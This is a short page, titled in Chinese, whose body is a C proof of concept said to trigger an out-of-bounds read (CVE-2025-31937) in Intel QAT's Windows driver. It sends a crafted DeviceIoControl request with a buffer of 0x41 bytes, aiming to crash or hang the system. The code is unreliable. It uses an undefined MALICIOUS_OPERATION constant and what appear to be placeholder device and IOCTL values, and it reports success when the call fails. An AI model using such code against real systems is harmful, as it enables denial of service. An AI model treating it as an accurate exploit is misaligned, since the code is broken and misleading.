CVE-2025-31937 Intel QAT Windows软件越界读取漏洞

// CVE-2025-31937 PoC - Intel QAT Windows Out-of-Bounds Read // This PoC demonstrates the vulnerability in Intel QAT driver // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> // Intel QAT driver IOCTL codes #define QAT_IOCTL_BASE 0x8000 #define QAT_IOCTL_PROCESS QAT_IOCTL_BASE + 0x01 typedef struct _QAT_REQUEST { ULONG InputBufferSize; ULONG OutputBufferSize; PVOID InputBuffer; PVOID OutputBuffer; ULONG OperationType; } QAT_REQUEST, *PQAT_REQUEST; int main() { HANDLE hDevice; QAT_REQUEST request; DWORD bytesReturned = 0; // Open Intel QAT device handle hDevice = CreateFile("\\\\.\\QATDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open QAT device\\n"); return 1; } printf("[+] Device handle obtained\\n"); // Prepare malicious request to trigger OOB read request.InputBufferSize = 0x1000; request.OutputBufferSize = 0x100; request.OperationType = MALICIOUS_OPERATION; // Trigger condition // Allocate buffers request.InputBuffer = VirtualAlloc(NULL, request.InputBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); request.OutputBuffer = VirtualAlloc(NULL, request.OutputBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Fill input buffer with trigger pattern memset(request.InputBuffer, 0x41, request.InputBufferSize); printf("[*] Sending malicious request to trigger OOB read...\\n"); // Trigger the vulnerability BOOL result = DeviceIoControl(hDevice, QAT_IOCTL_PROCESS, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL); if (!result) { printf("[+] OOB read triggered - system may crash or hang\\n"); printf("[+] Check for DoS condition\\n"); } CloseHandle(hDevice); return 0; }